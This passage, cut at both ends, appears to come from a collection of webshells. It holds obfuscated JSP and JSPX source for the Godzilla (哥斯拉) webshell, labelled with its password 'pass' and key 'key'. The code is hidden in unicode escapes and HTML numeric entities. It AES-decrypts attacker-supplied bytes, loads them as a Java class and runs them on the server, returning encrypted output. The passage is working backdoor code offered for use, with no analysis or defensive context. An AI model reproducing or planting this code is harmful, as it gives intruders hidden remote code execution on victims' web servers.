u003d\u0020\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"\u004d\u0044\u0035"\u0029\u003b\u006d\u002e\u0075\u0070\u0064\u0061\u0074\u0065\u0028\u0073\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0020\u0030\u002c\u0020\u0073\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0028\u0029\u0029\u003b\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006d\u0061\u0074\u0068\u002e\u0042\u0069\u0067\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0031\u002c\u0020\u006d\u002e\u0064\u0069\u0067\u0065\u0073\u0074\u0028\u0029\u0029\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u002e\u0074\u006f\u0055\u0070\u0070\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0072\u0065\u0074\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034"\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"\u0067\u0065\u0074\u0045\u006e\u0063\u006f\u0064\u0065\u0072"\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"encodeToString"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0072"\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"encode"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034"\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"getDecoder"\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072"\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"decodeBuffer"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d%><%\u0074\u0072\u0079\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0064\u0061\u0074\u0061\u003d\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0070\u0061\u0073\u0073\u0029\u0029\u003b\u0064\u0061\u0074\u0061\u003d\u0078\u0028\u0064\u0061\u0074\u0061\u002c\u0020\u0066\u0061\u006c\u0073\u0065\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u0029\u003d\u003d\u006e\u0075\u006c\u006c\u0029\u007b\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u002c\u006e\u0065\u0077\u0020\u0058\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0051\u0028\u0064\u0061\u0074\u0061\u0029\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"parameters"\u002c\u0064\u0061\u0074\u0061\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0061\u0072\u0072\u004f\u0075\u0074\u003d\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0066\u003d\u0028\u0028\u0043\u006c\u0061\u0073\u0073\u0029\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u0031\u0036\u0029\u0029\u003b\u0066\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0078\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u002e\u0074\u006f\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u0028\u0029\u002c\u0020\u0074\u0072\u0075\u0065\u0029\u0029\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u0029\u003b\u007d\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u007d%>

Html

哥斯拉

哥斯拉，密码pass，密钥key

<?xml version="1.0" encoding="UTF-8"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration>&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x78;&#x63;&#x3d;&#x22;&#x33;&#x63;&#x36;&#x65;&#x30;&#x62;&#x38;&#x61;&#x39;&#x63;&#x31;&#x35;&#x32;&#x32;&#x34;&#x61;&#x22;&#x3b;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x70;&#x61;&#x73;&#x73;&#x3d;&#x22;&#x70;&#x61;&#x73;&#x73;&#x22;&#x3b;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x6d;&#x64;&#x35;&#x3d;&#x6d;&#x64;&#x35;&#x28;&#x70;&#x61;&#x73;&#x73;&#x2b;&#x78;&#x63;&#x29;&#x3b;&#x20;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x58;&#x20;&#x65;&#x78;&#x74;&#x65;&#x6e;&#x64;&#x73;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x4c;&#x6f;&#x61;&#x64;&#x65;&#x72;&#x7b;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x58;&#x28;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x4c;&#x6f;&#x61;&#x64;&#x65;&#x72;&#x20;&#x7a;&#x29;&#x7b;&#x73;&#x75;&#x70;&#x65;&#x72;&#x28;&#x7a;&#x29;&#x3b;&#x7d;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x51;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x63;&#x62;&#x29;&#x7b;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x73;&#x75;&#x70;&#x65;&#x72;&#x2e;&#x64;&#x65;&#x66;&#x69;&#x6e;&#x65;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x63;&#x62;&#x2c;&#x20;&#x30;&#x2c;&#x20;&#x63;&#x62;&#x2e;&#x6c;&#x65;&#x6e;&#x67;&#x74;&#x68;&#x29;&#x3b;&#x7d;&#x20;&#x7d;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x78;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x73;&#x2c;&#x62;&#x6f;&#x6f;&#x6c;&#x65;&#x61;&#x6e;&#x20;&#x6d;&#x29;&#x7b;&#x20;&#x74;&#x72;&#x79;&#x7b;&#x6a;&#x61;&#x76;&#x61;&#x78;&#x2e;&#x63;&#x72;&#x79;&#x70;&#x74;&#x6f;&#x2e;&#x43;&#x69;&#x70;&#x68;&#x65;&#x72;&#x20;&#x63;&#x3d;&#x6a;&#x61;&#x76;&#x61;&#x78;&#x2e;&#x63;&#x72;&#x79;&#x70;&#x74;&#x6f;&#x2e;&#x43;&#x69;&#x70;&#x68;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x22;&#x41;&#x45;&#x53;&#x22;&#x29;&#x3b;&#x63;&#x2e;&#x69;&#x6e;&#x69;&#x74;&#x28;&#x6d;&#x3f;&#x31;&#x3a;&#x32;&#x2c;&#x6e;&#x65;&#x77;&#x20;&#x6a;&#x61;&#x76;&#x61;&#x78;&#x2e;&#x63;&#x72;&#x79;&#x70;&#x74;&#x6f;&#x2e;&#x73;&#x70;&#x65;&#x63;&#x2e;&#x53;&#x65;&#x63;&#x72;&#x65;&#x74;&#x4b;&#x65;&#x79;&#x53;&#x70;&#x65;&#x63;&#x28;&#x78;&#x63;&#x2e;&#x67;&#x65;&#x74;&#x42;&#x79;&#x74;&#x65;&#x73;&#x28;&#x29;&#x2c;&#x22;&#x41;&#x45;&#x53;&#x22;&#x29;&#x29;&#x3b;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x63;&#x2e;&#x64;&#x6f;&#x46;&#x69;&#x6e;&#x61;&#x6c;&#x28;&#x73;&#x29;&#x3b;&#x20;&#x7d;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x7b;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x3b;&#x20;&#x7d;&#x7d;&#x20;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x73;&#x74;&#x61;&#x74;&#x69;&#x63;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x6d;&#x64;&#x35;&#x28;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x73;&#x29;&#x20;&#x7b;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x72;&#x65;&#x74;&#x20;&#x3d;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x3b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x73;&#x65;&#x63;&#x75;&#x72;&#x69;&#x74;&#x79;&#x2e;&#x4d;&#x65;&#x73;&#x73;&#x61;&#x67;&#x65;&#x44;&#x69;&#x67;&#x65;&#x73;&#x74;&#x20;&#x6d;&#x3b;&#x6d;&#x20;&#x3d;&#x20;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x73;&#x65;&#x63;&#x75;&#x72;&#x69;&#x74;&#x79;&#x2e;&#x4d;&#x65;&#x73;&#x73;&#x61;&#x67;&#x65;&#x44;&#x69;&#x67;&#x65;&#x73;&#x74;&#x2e;&#x67;&#x65;&#x74;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x22;&#x4d;&#x44;&#x35;&#x22;&#x29;&#x3b;&#x6d;&#x2e;&#x75;&#x70;&#x64;&#x61;&#x74;&#x65;&#x28;&#x73;&#x2e;&#x67;&#x65;&#x74;&#x42;&#x79;&#x74;&#x65;&#x73;&#x28;&#x29;&#x2c;&#x20;&#x30;&#x2c;&#x20;&#x73;&#x2e;&#x6c;&#x65;&#x6e;&#x67;&#x74;&#x68;&#x28;&#x29;&#x29;&#x3b;&#x72;&#x65;&#x74;&#x20;&#x3d;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x6d;&#x61;&#x74;&#x68;&#x2e;&#x42;&#x69;&#x67;&#x49;&#x6e;&#x74;&#x65;&#x67;&#x65;&#x72;&#x28;&#x31;&#x2c;&#x20;&#x6d;&#x2e;&#x64;&#x69;&#x67;&#x65;&#x73;&#x74;&#x28;&#x29;&#x29;&#x2e;&#x74;&#x6f;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x31;&#x36;&#x29;&#x2e;&#x74;&#x6f;&#x55;&#x70;&#x70;&#x65;&#x72;&#x43;&#x61;&#x73;&#x65;&#x28;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x20;&#x7b;&#x7d;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x72;&#x65;&#x74;&#x3b;&#x20;&#x7d;&#x20;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x73;&#x74;&#x61;&#x74;&#x69;&#x63;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x28;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x62;&#x73;&#x29;&#x20;&#x74;&#x68;&#x72;&#x6f;&#x77;&#x73;&#x20;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x7b;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3b;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x3b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3d;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x2e;&#x66;&#x6f;&#x72;&#x4e;&#x61;&#x6d;&#x65;&#x28;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x75;&#x74;&#x69;&#x6c;&#x2e;&#x42;&#x61;&#x73;&#x65;&#x36;&#x34;&#x22;&#x29;&#x3b;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x67;&#x65;&#x74;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x22;&#x2c;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2c;&#x20;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x3b;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x28;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x29;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x54;&#x6f;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x22;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x2e;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x7d;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x73;&#x20;&#x7d;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x20;&#x7b;&#x74;&#x72;&#x79;&#x20;&#x7b;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x3d;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x2e;&#x66;&#x6f;&#x72;&#x4e;&#x61;&#x6d;&#x65;&#x28;&#x22;&#x73;&#x75;&#x6e;&#x2e;&#x6d;&#x69;&#x73;&#x63;&#x2e;&#x42;&#x41;&#x53;&#x45;&#x36;&#x34;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x22;&#x29;&#x3b;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x20;&#x3d;&#x20;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2e;&#x6e;&#x65;&#x77;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x29;&#x3b;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x20;&#x3d;&#x20;&#x28;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x29;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x4d;&#x65;&#x74;&#x68;&#x6f;&#x64;&#x28;&#x22;&#x65;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x22;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x2e;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x7d;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x73;&#x20;&#x7d;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&